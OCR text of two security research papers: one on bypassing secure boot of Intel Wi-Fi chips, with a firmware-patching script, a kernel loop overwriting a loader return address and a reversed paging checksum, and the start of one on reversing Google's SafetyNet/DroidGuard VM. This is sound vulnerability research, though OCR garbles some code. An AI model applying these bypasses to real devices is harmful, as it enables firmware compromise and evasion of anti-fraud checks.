This new knowledge of the cryptoprocessor enabled looking for code
referencing its addresses in the firmware. And indeed the UMAC code
uses the cryptoprocessor in a similar way to verify some signatures, for
example when processing FW_PAGING_BLOCK_CMD commands.

Bypassing Secure Boot Linux loads a firmware on the Wi-Fi chip by
sending its sections. We previously described (in section 2.4) that it is
not possible to directly modify the content of these sections. By reverse-
engineering the code of the loader, we found the code which computed
a SHA256 digest over all the sections. The loader needs to implement
this to verify a RSA-2048 signature embedded in the first section (using a
cryptoprocessor).
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This code does not wait for the full firmware to be received before
computing its digest, but updates the SHA256 state after each section is
received. Does it mean that an attacker can modify a section after it has
been verified? We patched the Linux kernel in order to send a section twice:
once with the original content, and a second time with some modifications.
This failed. The firmware started successfully but the modifications were
ignored. Digging further, we discovered that the loader modifies some
hardware registers of the chip after receiving a section. We suppose this
locked some memory pages to make them no longer writable from Linux.

In short, when the firmware loader starts, Linux is allowed to write to
most of the memory of the chip, and the memory progressively becomes
read-only while the firmware is loaded. But the memory does not solely
contain the firmware: it also contains the loader! And trying to write to
the loader data actually works!!

More precisely, when we call Linux’s function
iwl_trans_pcie_write_mem to write some data at 0x00402e80
before loading the firmware, we manage to read the new data back (using
iwl_trans_pcie_read_mem). The stack of the loader is located at this
address, so it is possible to overwrite some return address to make the
loader execute our code (which can be written using the normal firmware
loading interface). The attack therefore consists in writing a modified
firmware to the memory of the chip, replacing a return address with zero
in the stack of the loader, and notifying the loader that the firmware is
loaded. This works fine on the first Wi-Fi chip studied (Intel Dual Band
Wireless AC 8260), but not on the second one (Intel Wireless-AC 9560
160MHz).

On the second chip, we observe that the value we read back after
modifying the stack is successfully modified, but the loader seems to
ignore it. Another thing was strange: despite the loader using some global
variables in memory, we do not see these variables change when reading
their values. We suppose this is caused by a caching mechanism: the
content of the stack is used from a cache memory of the Wi-Fi chip.
As the read/write access from the Linux driver modifies the physical
memory directly without invalidating the cache, the chip ignores these
modifications.

To fix the attack, we modified the firmware image in order to force
cached data to be flushed to the memory. One way to achieve this consists
in increasing the number of sections which are loaded by the chip. This
number is actually present in the first section transmitted to the chip
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(the one which contains the signature). By declaring that the firmware
contains 196 sections (listing 16), the behavior of the chip changes:

— When trying to load this firmware directly, the chip refuses to boot
and a SecBoot message appears in the kernel log. This is expected,
because the modified section is included in the signed data.

— When trying to load this firmware while overwriting a code address
on the stack, the chip successfully boots.

import struct

0ld_section = get_first_section("iwlwifi-9000-pu-b0-jf-b0-46.ucode")
new_section = (
old_section[:0x284] + # Header with RSA signature
# Define 196 fake sections at address 0 with size O.
struct.pack("<I", 196) +
struct.pack("<IIII", 7, 8, 0, 0) * 196

Listing 16. Extract of a Python script which modifies the first section

More precisely we identified in the dumped stack, at 0x00402fc0, the
code address 0x00060f7a. This address is right after a function call,?? in
the code of the firmware (listing 17).

00060£70 f1 cO push_s blink
00060£f72 66 Oc 8f ff bl FUN_000603d4 (initialize things)
00060f76 e6 Ob 8f ff bl FUN_00060358 (compute SHA256)

(the value at 0x00402fcO is here)
00060f7a 7e 0d 8f ff bl FUN_000604f4 (verify RSA signature)
00060f7e d1 cO pop_s blink
00060£f80 e0 T7e j_s blink

Listing 17. Attacked function of the Wi-Fi chip loader (ARCompact assembly)

We  perform the attack by modifying the function
iwl_pcie_load_cpu_sections_80002* (in the iwlwifi kernel module)
to write zero to 0x00402fc0 (listing 18). This actually bypasses the call
to the function which verifies the RSA signature and directly starts the
loaded firmware.

iwl_trans_grab_nic_access (trans) ;

unsigned int iterations;

for (iterations = 0; iterations < 70000; iterations++) {
iwl_write32(trans, HBUS_TARG_MEM_WADDR, 0x00402fc0);

23 In ARCompact, instruction bl peforms a branch with link operation, used to call a
function.

24 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/pcie/trans.c#L719


https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/pcie/trans.c#L719
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/pcie/trans.c#L719

5
6
7

DU W N

N. Iooss, G. Campana, 207

iwl_write32(trans, HBUS_TARG_MEM_WDAT, 0);
}

iwl_trans_release_nic_access(trans);

Listing 18. Loop added to iwlwifi to bypass the signature verification

Being able to load arbitrary code on a Wi-Fi chip greatly helps ana-
lyzing how it works. In the remaining parts of this article, we will present
some experiments enabled by this access.

4 Use Cases and Practical Applications

4.1 Understanding the Paging Memory

Going beyond physical memory The studied firmware file defined
a section at address 0x01000000 with 241664 bytes (cf. listing 8 in sec-
tion 2.2). Contrary to the other sections, this one is not loaded directly in
the memory of the chip. Instead, iwlwifi allocates specific buffers in the
main memory and transmits their physical addresses to the chip, using
a FW_PAGING_BLOCK_CMD command in function iwl_send_paging_cmd.25
This means that this code is loaded once the LMAC and the UMAC
processors have already been started. At this point, we wondered: where
is this code stored in the Wi-Fi chip? How is it authenticated?

The second question is simple to answer: the implementation of
the FW_PAGING_BLOCK_CMD command in the UMAC code (at address
0x80452184) reads all the pages using DMA transfers and verify a
RSA2048-SHA256 signature provided by a Code Signature Section. How-
ever, all DMA transfers target the same 4096-byte page on the memory of
the chip, at 0x00447000. So the data is not actually kept by the chip.

The host physical addresses of the blocks are saved in a structure
iwl_fw_paging_cmd %% at address 0xc0885774. We retrieve the content
of the structure from the chip using the debug filesystem (cf. section 3.1)
and decode it according to the structure definition (listing 19).

struct iwl_fw_paging_cmd at 0xc0885774:
* flags = 0x303: 0x200=secured, 0x100=enabled, 3 pages in last block
* block_size = 15 (0x8000 = 32768 bytes/block, 8 pages/block)
* block_num = 8
Block addresses:
Host phys 0x10b976000 = Code Signature Section

5 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/paging.c#L232

26 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/api/paging.h#L22


https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/paging.c#L232
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/paging.c#L232
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/api/paging.h#L22
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/api/paging.h#L22
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Host phys 0x10b9f0000
Host phys 0x10b9f£8000
Host phys 0x10ba00000
Host phys 0x10ba08000
Host phys 0x10bal10000
Host phys 0x10ba18000
Host phys 0x10ba20000
Host phys 0x10ba28000

Paging mem 0x01000000
Paging mem 0x01008000
Paging mem 0x01010000
Paging mem 0x01018000
Paging mem 0x01020000
Paging mem 0x01028000
Paging mem 0x01030000
Paging mem 0x01038000

Listing 19. Extracting the configuration of the paging memory, from the chip

If the chip does not keep all pages when processing the
FW_PAGING_BLOCK_CMD command, how is it able to use this memory?
By accessing memory through the debug filesystem, we confirm that the
memory located at addresses 0x01000000, 0x01008000, etc. is indeed
readable and writable. The answer is: by using the Memory Management
Unit!

Indeed the UMAC processor defined handlers for the exception vec-
tors TLBMissI and TLBMissD (at addresses 0xc0080108 and 0xc0080110)
which occur when a memory access fails. These handlers integrate a com-
plex state machine which loads the requested memory page from the host
using DMA, in a memory area between 0x00422000 and 0x00447fff. To
confirm that the analysis is correct, we read the global variables used by
this state machine, which include an array at 0x804508b8. For example,
in an experiment this array starts with the bytes £f ff 10 ff Ob ff.
Every byte is related to a virtual memory page.

— The first byte is 0xff, meaning that the first page (at 0x01000000)

is not currently mapped by the chip.

— The second byte was 0xff, meaning that the page at 0x01001000
is not mapped.

— The third byte, 0x10, means that the page at 0x01002000
is mapped at physical address 0x00422000 + 0x10*0x1000 =
0x00432000 of the chip. This is confirmed by reading the data
stored at this address directly.

— etc.

The Wi-Fi chip has space for 38 4KB-pages and the firmware defines

59 pages so it is impossible to load all of them simultaneously. Moreover
these regions contain global variables which are updated by the firmware.
How does the firmware keep the modified bytes when some room is needed
to load a newly requested page? By sending another DMA request to
write the modified bytes to the host memory. And indeed, using chipsec
to read the host physical memory, we observe that the buffer allocated for
this Paging memory is modified.
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In short, the code running on the UMAC processor uses its MMU to
extend its memory capacity, by relying on DMA transfers with the host
memory to store the data which do not fit.

Protecting the integrity of the Paging Memory Once we understood
the mechanism of the Paging Memory, we tried an obvious attack: we
modified a byte in the host memory and made the Wi-Fi chip request it
by issuing a command to read memory. This failed (the UMAC reported a
NMI_INTERRUPT_UMAC_FATAL error and iwlwifi restarted the chip), and
we did not understand why. How is the integrity of the Paging Memory
guaranteed?

The function which handles command FW_PAGING_BLOCK_CMD performs
some operations that we first overlooked:

— It writes the address 0x8048f400 in the peripheral register
0x00a0482¢ and 0x1000 in 0x00a0480c.

— Before receiving a page (to verify the signature), it writes the
physical address of the received page in 0x00a04808, the index of
the virtual page in 0x00a04804, and 1 in 0x00a04800.

— After receiving a page, it waits for some bits in the peripheral
register 0x00a04800 to become set.

These registers are also used near the code which performs DMA
requests. Maybe they are used to compute some digest of the data? Where
would these digests be stored? Maybe at the first address which is used,
0x8048£400 (which is the physical address 0x0048£400). Surprisingly, the
content at this location is not readable using the debug commands used
by iwlmvm/mem. This limitation is due to a check which forbade reading
any data between 0x0048f000 and 0x0048fffff. Fortunately we are not
stopped by this, as we are able to load a modified firmware without this
restriction.

After more experiments, we discover that 0x0048£400 holds a table
of 32-bit checksums for each 4 KB page of the Paging Memory. The
checksum of the first page (whose virtual address is 0x01000000) is located
at 0x0048£400, the checksum of the second one at 0x0048£404, etc. In
an experiment, we obtain that:

— the checksum of a page with 4096 zeros is 00 00 00 00,

— A page with 4095 zeros and 01 has checksum 11 ac 48 7f

— A page with 4095 zeros and 02 has checksum 22 58 bl ff

— A page with 4095 zeros and 03 has checksum 33 f4 69 80

— A page with 4095 zeros and 04 has checksum c9 b0 62 ff
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These values are not so random: they are linear with the input! By
XOR-ing the results of the lines with 01 and 02, we obtain the result
written in the line with 03. Also taking the bytes of the line with 01
and shifting them left one bit gives the result of the line with 02, with
a bit moved from ac to bl. Continuing this trail, we found out that the
computation involved a 32-bit Linear Feedback Shift Register (LFSR) on
the input bytes considered as a sequence of 32-bit Little Endian integers,
with polynomials 0x10000008d. But it is not only an LFSR, as values
change every time the chip is reset.

More experiments reduce the algorithm to the Python function pre-
sented in listing 20. Discussions within our awesome team made us under-
stand we were watching a scheme named Universal Message Authentication

Code, and our implementation actually matches the example written on
Wikipedia.2”

def checksum(page, secret_key):
# Return the checksum of a 4096-byte page with a 1024{-int key
result = 0
for index_32bit_word in range (1024):

page_bytes = pagel[index_32bit_word*4:index_32bit_word*4+4]
page_value = int.from_bytes(page_bytes, "little")
sec = secret_key[index_32bit_word]

for bit_pos in range (32):
if page_value & (1 << bit_pos):

result ~= sec

# Linear Feedback Shift Register with 0x10000008d
if sec & 0x80000000:
sec = ((sec & OxT7Tfffffff) << 1) ~ 0x8d
else:
sec = sec << 1
return result

Listing 20. Python implementation of the checksum algorithm used to ensure
the integrity of the Paging Memory

This algorithm is quite weak in this case: in our study we were able to
request the checksums for pages containing bytes 01 00...00, 00 00 00
00 01 00...00, etc., which directly leaks the 1024 integers used in the
secret key. With this key, it is simple to modify a page in a way which
does not modify the checksum.

In short, the integrity of the Paging Memory, which prevents the Linux
kernel from modifying its content, is guaranteed by a 32-bit checksum
algorithm, a secret key generated each time the chip boots and the impos-
sibility to read the stored checksums (we achieved this by compromising

?" nttps://en.wikipedia.org/wiki/UMAC#Example (accessed on 2022-01-17)
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the integrity of the firmware beforehand). So we did not discover a vulner-
ability there, but a way to leverage future arbitrary-read vulnerabilities
into arbitrary code execution on the Wi-Fi chip.

4.2 Instrumentation, Tooling and Fuzzing

Debugger A debugger has been developed to make the dynamic analysis
of some pieces of firmware code easier.

A shellcode is first written in a part of uninitialized firmware memory.
The first instruction of the debugged code is modified to redirect the
firmware execution to the shellcode. The shellcode waits in a loop for
custom commands from the host to:

— read and write LMAC and UMAC CPU registers,

— read and write from/to memory,

— resume the execution of the firmware.

In order to make debugging faster, an experiment has been conducted
with QEMU to redirect the execution of the debugged code in QEMU,
and forward the memory and register accesses to the debugger. Slight
modifications of QEMU’s core are required to allow QEMU’s plugin system
to write to memory.

Nevertheless, a few issues are encountered:

— Firmware timers are triggered at regular intervals, disturbing de-

bugging. Disabling these timers leads to unexpected side effects.

— FEaxtension Core Registers are modified by the hardware even if

executed instructions don’t reference them.

— A few ARC700 instructions must be fixed or added to QEMU.

Traces Once secure boot is disabled and unsigned firmware can be loaded,
the firmware can be patched to change the behavior of some functions. In
order to facilitate firmware analysis, a tracing mechanism was developed
to tell dynamically which functions are executed.

The list of all firmware functions is retrieved thanks to a custom
Ghidra script. These functions are patched to replace the first prologue
instruction (push_s blink) with the instruction trap_s 0. The code of
the associated interrupt handler is replaced to store the address of the
instruction which triggered the interrupt, in a buffer shared with the host.

This mechanism allows to gather every function executed by the
firmware, but it’s slightly more complicated on the UMAC processor:

— The instruction trap_s 0 triggers an unrecoverable machine check

exception. An invalid instruction seems to trigger a different in-
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terrupt handler, but it can also be replaced to store the faulty
instruction.

— Some functions can’t be instrumented because triggering an in-
terrupt during their execution seems to lead to a machine check
exception, probably because of a double fault.

On-Chip Fuzzing In order to find vulnerabilities, the code of the
firmware has been modified to hook some functions related to Wi-Fi
packets parsing and fuzz randomly input parameters. While it indeed
leads to crashes, these functions use hardware registers which make crashes
bound to the state of the card. Crashes are thus difficult to reproduce.
Moreover, some checks on packet validity seem to be done by the hard-
ware, before packets are handled by the firmware. These crashes can’t be
reproduced through remote frame injection.

4.3 Initial crash analysis

Further analysis showed that the initial bug that led to this study isn’t
exploitable. It’s a crash of the LMAC CPU because the firmware doesn’t
expect to receive TDLS Setup Request commands from the host, while
the device seems to support TDLS (Tunnel Direct Link Setup, listing 21).

$ iw phy | grep -i tdls
* tdls_mgmt
* tdls_oper
Device supports TDLS channel switching

Listing 21. Querying TDLS support on the first studied chip

Several users reported this crash on the Kernel Bug Tracker ?® and
the bug is actually fixed since firmware update 3627 As explained by the
maintainer in this comment:

Anyway, the new firmware has the fix: we don’t advertise TDLS
anymore.

It’s worth noting that even if a firmware update is available, some
Linux distributions don’t include it. For instance, this crash can reliably
be triggered remotely with a single Wi-Fi packet targeting an up-to-date
Ubuntu 18.04, leading to the reboot of the Wi-Fi firmware.

2% https://bugzilla.kernel.org/show_bug.cgi?id=203775
2% https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux—
firmware.git/commit/?7id=5157165£22041346b3a82e12ba072d456777fdf2


https://bugzilla.kernel.org/show_bug.cgi?id=203985#c3
https://bugzilla.kernel.org/show_bug.cgi?id=203775
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/commit/?id=5157165f22041346b3a82e12ba072d456777fdf2
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/commit/?id=5157165f22041346b3a82e12ba072d456777fdf2
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5 Conclusion

This journey studying Intel Wi-Fi chips was incredible. We did not
expect to bypass the secure boot mechanism of the chip, and this achieve-
ment opened the door to many new possibilities. Most importantly, we can
now instrument the firmware to better understand some undocumented
parts.

While this document is quite large, it does not include some work
which was also done: studying how the WoWLAN (Wake-on-Wireless
Local Area Network) feature is implemented, how ThreadX operating
system is used by the UMAC code, how the chip really communicates
with the host using DMA, how fragmented Wi-Fi frames are parsed, how
the LMAC configures a MPU (Memory Protection Unit), etc. In the
future we will likely continue looking for vulnerabilities in the Wi-Fi radio
interface. Future work can also include how the Wi-Fi part of the chip
interacts with the Bluetooth part. Indeed, all studied chips also provide
a Bluetooth interface which seems to require some coordination with
the Wi-Fi firmware to operate. Another area of interest could be the
interaction between the Wi-Fi chip and Intel CSME (Converged Security
and Management Engine) for AMT (Active Management Technology):
the iwlwifi module was modified in Linux 5.17-rcl (released in January
2022) to document how this works.>’

We would like to thank our employer Ledger for letting us work on
this exciting topic, Intel developers for providing useful documentation in
iwlwifi and Microsoft for publishing the ThreadX source code.3!

Finally, we hope that the publication of this article will lay the ground-
work for helping other researchers to dive into that topic.

A Glossary

— BAR: Base Address Register

— CSS: (probably) Code Signature Section (a firmware section which
contains metadata about other sections, including a signature)

— DMA: Direct Memory Access (a way to transmit data between two
devices without running code on a processor)

— DCCM: Data Close Coupled Memory (some kind of memory)

— LMAC: Lower Medium Access Controller

30 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/
commit/?7id=2da4366f9e2c44afedec4acad65a99a3c7dalalb
3! https://github.com/azure-rtos/threadx/


https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2da4366f9e2c44afedec4acad65a99a3c7da1a35
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2da4366f9e2c44afedec4acad65a99a3c7da1a35
https://github.com/azure-rtos/threadx/
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— MMIO: Memory-Mapped Input Output
— SRAM: Static Random Access Memory (some kind of memory)
— UMAC: Upper Medium Access Controller
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DroidGuard: A Deep Dive into SafetyNet
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Abstract. SafetyNet is the Android component developed by Google to
verify the devices’ integrity. These checks are used by the developers to
prevent running applications on devices that would not meet security
requirements but it is also used by Google to prevent bots, fraud &
abuse.

In 2017, Collin Mulliner & John Kozyrakis made one of the first
public presentations about SafetyNet and a glimpse into the internal
mechanisms. Since then, the Google anti-abuse team improved the
strength of the solution which moved most of the original Java
layer of SafetyNet, into a native module called DroidGuard. This
module implements a custom virtual machine that runs a propri-
etary bytecode provided by Google to perform the devices integrity checks.

This paper aims at providing a state-of-the-art of the current implemen-
tation of SafetyNet. In particular, it presents the internal mechanisms
behind SafetyNet and the DroidGuard module. This includes an overview
of the VM design, its internal mechanisms, and the security checks per-
formed by SafetyNet to detect Magisk, emulators, rooted devices, and
even Pegasus.

1 Introduction

SafetyNet aims at providing information about the integrity of an
Android device to make sure that applications which have to deal with
sensitive assets, are not running in an environment that could threaten to
weaken the security of these assets.

From a developer’s point of view, SafetyNet can be seen as an oracle
that basically outputs two information about the device’s integrity [1]:

CTS Profile Match: detect unlocked bootloader, custom ROM, un-
certified device. ..
Basic Integrity: detect emulator, rooted devices, hooking frame-

works. . .

Depending on the values of Basic Integrity and/or CTS Profile Match,
the developers could perform specific actions like disabling functionalities
or stopping the application.
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The current implementation of SafetyNet relies on a Google’s internal
component named DroidGuard. This component is quite obscure with
very few information about its internal functionalities but it seems widely
involved for detecting misuse of the Android platform (bot, spam, root
state, ad fraud...).

By trying to understand how SafetyNet works, I ended up with reverse-
engineering the virtual machine implemented by DroidGuard. This analysis
of SafetyNet was motivated by the end-of-life of Magisk-hide.

The analysis of Android applications — especially in the gaming and
banking industries — can require to circumvent SafetyNet checks and this
article aims at providing a better understanding about the strength and
the weaknesses of SafetyNet.

2 SafetyNet Workflow

When an application requests a SafetyNet attestation, different layers,
and different processes are involved in the generation of this attestation.
Figure 1 depicts an overview of the attestation process.

Firstly, the application creates a SafetyNet request with the high-
level API exposed by the Google SafetyNet SDK.! This API takes a
nonce and an API key that are bundled into an Android intent which is
sent to the Google Mobile Service (GMS). The SafetyNet SDK adds
other information to the Android intent such as the package name of the
application.

The nonce is mostly used to prevent replay attacks while the API key is
used by Google to identify the app developers.

When GMS Core receives the intent, it starts to build a Protobuf
message that will be used by the Google backend to determine if the device
has been tampered with or not. In particular, the information embedded
in this message are used to determine the values of Basic Integrity
and CTS Profile Match.

The structure of this Protobuf message has already been reversed and
is publicly available on Github [2]. By monitoring the network communi-
cations going through Cronet [3], we can intercept the Protobuf message
given in the Listing 1.

SafetyNetData = {

nonce = [ca ee ...]
packageName = "com.demo.snet"
signatureDigest = [66 49 ...]

1 com.google.android.gms:play-services-safetynet
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Fig. 1. SafetyNet Workflow

fileDigest = [fa O0a ...]
gmsVersionCode = 213918046
suCandidates = {

fileName =

digest = [256 53 ...]
}
seLinuxState = {

supported = true

enabled = true
¥
currentTimeMs = 1638672572674
googleCn = false

Listing 1. Protobuf Data Associated with a SafetyNet Request

As we can observe in the Listing 1, the Protobuf message embeds infor-
mation about the application (package name, signature, APK checksum)
as well as device healthy checks such as:
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SELinux state: If SELinux is present and enforced

Root check: If su binaries are found on the device

The root checks are performed in a Java class of GMS Core and consist
in checking predefined su paths:

package p000;
/* renamed from: aljb */
final class RootChecker {

/* renamed from: a */
private static final String[] £23781a = {
"/system/bin/su",
"/system/xbin/su",
"/system/bin/.su",
"/system/xbin/.su"

g

/* renamed from: a */
public static List getRootFile() {

return arraylist;
¥
}

Listing 2. Root Checks in GMS Core

There are similar checks for the SELinux status in another part of
GMS Core.

The information of SafetyNetData are wrapped into another Protobuf
message [4] that basically extends the previous information with data
coming from DroidGuard.

The Listing 3 shows the layout of this extended Protobuf message.

{
SafetyNetData = {
nonce = [ca ee ...],
packageName = "com.demo.snet'
DroidGuardResult = "CgZpApMYiWYSi9cB [...]"
}

Listing 3. Protobuf Message with the DroidGuard Data

As it is explained in the next sections, DroidGuard is an APK that
implements a custom virtual machine used to run a proprietary bytecode.

More concretely, and in the context of SafetyNet, DroidGuard is used
to run a bytecode that collects evidence about the device’s integrity.
In particular, the running bytecode performs the advanced root checks,
collects information about the bootloader, check if Frida is running. . ..
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This bytecode is also used to encode and generate the DroidGuardResult
attribute of the Protobuf message previously mentioned (Listing 3).

The Protobuf message wrapping both, SafetyNetData and
DroidGuardResult is sent by GMS Core to the Google SafetyNet backend
that returns a JWS with the following payload:

{
"nonce": "<base64 encoded>",
"timestampMs": 1638672572674,
"apkPackageName": "com.demo.snet",
"apkCertificateDigestSha256": ["<base64 certs>"],
"ctsProfileMatch": false,
"basicIntegrity": true,
"advice": "RESTORE_TO_FACTORY_ROM",
"evaluationType": "BASIC ,HARDWARE_BACKED"

}

Listing 4. SafetyNet Result

The values of ctsProfileMatch and basicIntegrity are determined
by the results of DroidGuard and, to a lesser extent, by the early checks
on SELinux and the su binaries. Finally, this JWS is forwarded by GMS
Core to the application that created the request.

This section highlighted the role of DroidGuard in the attestation
process. The next section deals with the internal structures of DroidGuard.

3 DroidGuard: The VM behind SafetyNet

DroidGuard is part of the Google Mobile Service but it is not, strictly
speaking, embedded in the GMS APK.? By looking at the manifest file of
the GMS application, we can observe a service associated with DroidGuard:

<service android:name=".droidguard.DroidGuardService"
android:process="com.google.android.gms.unstable">
<intent-filter>

<action android:name='".service.INIT"/>
<action android:name=".service.PING"/>
<action android:name=".service.START"/>

<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</service>

Listing 5. DroidGuard Manifest

We can also notice that this service runs in a differ-
ent process (com.google.android.gms.unstable) than GMS Core

2 com.google.android.gms
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(com.google.android.gms). When an application requests a SafetyNet
attestation, at some point the DroidGuardService is triggered and spawn
a new process if it is not already running.

DroidGuardService encompasses different functionalities,
and one of those is to check if the device has the latest ver-
sion of DroidGuard. It turns out that the real implementa-
tion of DroidGuard is actually located in an apk stored in
/data/data/com.google.android.gms/app_dg_cache/<hash>/the.apk
and dynamically loaded by DroidGuardService.

The value associated with the DroidGuardResult attribute of the
Protobuf message mentioned in the Listing 3) is actually generated from
this apk (the.apk).

As it will be discussed in this section, the.apk implements a virtual
machine (VM) that is used to generate the DroidGuardResult value
referenced in the Listing 3.

The bytecode executed by the DroidGuard virtual machine is dynami-
cally downloaded from the Google backend servers and unique for each
attestation request.

3.1 Overview

The APK (the.apk) embedding the VM is relatively small compared
to GMS Core. It embeds about 60 classes (compared to ~ 63 000 classes
in GMS Core) in which only a few of them are relevant. The important
methods are implemented in the class:

com.google.ccc.abuse.droidguard.DroidGuard

This class declares a set of native methods among which we find:

— long initNative(Context context, String flow, bytel[]

bytecode, ...)

— byte[] ssNative(long j, String[] strArr)

— void closeNative(long j, Stringl[] strArr)

On a typical attestation request, initNative is called first to initialize
the DroidGuard VM and to run the bytecode provided in the third
parameter. Most of the SafetyNet checks (root checks, bootloader status)
are performed during this call.

Then, it follows ssNative that takes a pointer to the C++ Droid-
Guard VM object as the first parameter (long j). The second param-
eter is a content binding which turns out to be the SHA-256 check-
sum of the SafetyNetData Protobuf message (cf. Listing 1). The out-
put of this ssNative function is the actual DroidGuardResult. While
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initNative runs and generates integrity’s information independantly
of the application that triggered the request, ssNative ensures that the
DroidGuardResult is bound and unique for the application.

Finally, closeNative cleans the VM, cleans the buffers dynamically
allocated and the Java references.

By tracing the parameters of these functions, we get the following
sequence:

DroidGuard.initNative (DroidGuardChimeraService@a5bdbOb ,
flow: ’attest’, vmBytecode: Bytes Array, ...)
DroidGuard.ssNative ("{contentBinding=<Protobuf SHA-256 Hash}"):
CgZpApMYiWYSi9cB[...]
DroidGuard.closeNative () ;

These methods are implemented in a native library for which the
name is not meaningful (e.g. 1ibd58FDD24B24CD.so) but in which the
ELF metadata is more relevant:

-> readelf -d 1ibd58FDD24B24CD.so|grep SONAME

0x00e (SONAME) Library soname: [libdroidguard.so]

libdroidguard.so and the running bytecode contain the main logic
of SafetyNet. Compared to the analysis of J. Kozyrakis and C. Mulliner
in 2017, it looks like the current architecture of SafetyNet drop most of
the Java layers and only relies on DroidGuard 3

From the section 2 SafetyNet Workflow, we identified that the content
of DroidGuardResult is significantly used to determine the boolean values
of basicIntegrity and ctsProfileMatch. Therefore at this point, the
main challenge is to figure out how the output of ssNative is generated.

3.2 The Virtual Machine Internals

By Googling about DroidGuard, we find very few information about
this component. Nevertheless, one blog post [11] references some keywords
that ring the bell.

The blog post is two years old but it turns out that after analysis, the
current implementation is still based on a VM. Compared to the blog
post, we can notice some changes such as using JNI_OnLoad to register
initNative and ssNative instead of exporting them through JNIEXPORT.

libdroidguard.so is pretty small, about 400 functions in a 350KiB
file, and most of the strings are encoded. Needless to say that the library

3 DroidGuard was mentioned by J. Kozyrakis and C. Mulliner in their talk /blog post
though
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is stripped and does not contain metadata like RTTI. The analysis of
libdroidguard.so has been performed in a pure blackbox approach.

While skimming over the library’s functions, we can quickly figure out
that 1ibdroidguard.so is written in C++ and mostly relies on two STL
containers:

1. std::vector
2. std::string (or std::basic_string<uint8_t>)

Actually, the std::string container is far more used in the code
than the std::vector container. One hypothesis is that this container
is preferred by the DroidGuard developers to leverage the small strings
optimization made by the STL [9]. The other hypothesis is that this
container is used because it’s a bit more complicated to deal with when
reverse-engineering C++ code (cf. 6 Reverse-Engineering C++: What We
Should Be Aware Of?).

The main C++ object implemented and managed by 1ibdroidguard.so
is the implementation of the VM itself which is a C++ class. We will name
this object DroidGuardVM in the rest of this paper.

To get a good understanding of the high-level functionalities behind
the VM, we have to address at least two points:

1. Figure out the memory layout of the DroidGuardVM object

2. Understand the purpose of the VM handlers

Through static analysis, we can infer that the first class attribute of
the DroidGuardVM object, is a pointer to the current registers frame. The
DroidGuardVM can use up to 256 typed registers that are indexed by a
uint8_t integer.

A typed VM register is defined as a pair of two values:

1. Tts effective value (uintptr_t)

2. Its type (enum:uint8_t)

After the analysis of the library functions which manipulate these regis-
ters, we can figure out the different types supported by the DroidGuardVM:

HDG Type Raw Type H

Long int64_t
Int int32_t
Double double
Pointer voidx*

JNI Object jobject
String std: :string*
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Regarding the values of the registers, the Google anti-abuse team
put a lot of effort to protect the content of the VM registers, and more
generally, the data flow of the VM. In particular, all the registers’ values are
encoded such as when accessing regs [0x12], we actually get an encoded
representation of the original value:

regs[0x12] := enc(original_value)

In addition to registers values encoding, DroidGuard encodes the con-

tent of the string buffers (std::string) with a key derived from the
register index and from the VM key. The buffers are only decoded when
the VM needs to access the original content.
It is worth mentioning that the data flow of the VM is critical enough to
have a dedicated library function that aims at transferring an encoded
buffer from a register into another without clearly decoding the origi-
nal content of the source buffer. More information about the data flow
obfuscation are given in the next section (3.3 Data Flow Obfuscation).

The enum mapping of the register’s types is changing for each new
update of DroidGuard. It means, for instance, that the long type can be
associated with the integer 2 for a given version of DroidGuard and 5 in
another version.

During the setup of the VM, some of these registers are initialized
with contextual values. The Table 1 lists some of these values that are set
by a function closes to the DroidGuardVM constructor.

HRegister Initial Value H

r[03] Extra parameters

r[04] Flow (e.g. attest)

r[08] JNI ref on DroidGuardChimeraService
r[0a] Syscall function

r[0d] Bytecode buffer address

r[0e]l Error code?

r[10] JNIEnv*

Table 1. Some Initial Registers Values

Identifying the initial register values can be helpful while reverse-
engineering the VM handlers. For instance, the syscall helper function is
accessed when doing a function call:
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void DroidGuardVM::make_call() {
this->read_byte_vector (key: 0x9849e8d9bad2ccdc) :{0x09, Oxe4, 0x09}
this->get_pointer (reg: Oxa): &vm_syscall_helper

this->prepare_params (in_reg: {0x09, Oxe4, 0x09},
out_str: {"/data/user/0/com.google.android.gnms
/cache/.xfhrfg"}):
{&vm_syscall_helper, /* openat */ 0x38, 0x0, /* file.c_str() */
Looolll
openat ("/data/user/0/com.google.android.gms/cache/.xfhrfg"): -1
this->set_register (0x29, REG_TYPES::INT, -1)

}

These registers are used by the VM handlers which provide low-
level primitives for the dedicated bytecode. As in most of the VM-based
obfuscation schemes, we find handlers for arithmetical operations (xor,
addition, subtraction), conditional branches, comparison, and we also find
more specialized handlers such as:

— Calling a Java function through the JNI

— Doing a syscall

— Dynamically resolving a symbol (through dlsym)

— Accessing a Java field

— Doing sha256_init, sha256_update and sha256_final

From a reverse-engineering’s point of view, the VM handlers seem to
be member functions of the DroidGuardVM object. In particular, they do
not take any parameters and they do not return a value. The handlers only
update the internal state of the VM which includes the register values.

From a memory point of view, the VM handlers are indexed right after
the register frames:

class DroidGuardVM {

private:
registers_tx* registers;
std::vector<registers_t*> frames;

std::array<void (DroidGuardVM::*) (), 0x200> handlers;

For each new version of libdroidguard.so, the position of the
handlers in the handlers array attribute is shuffled. For instance,
DroidGuardVM->handlers[4] can point to the VM handler associated
with a JNI call and, in a new release of DroidGuard it could then be
associated with the SHA-256 processing handler.

This randomization is likely used to prevent fingerprinting and au-
tomation from past reverse-engineering.
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There are no universal methods to reverse the different VM handlers,
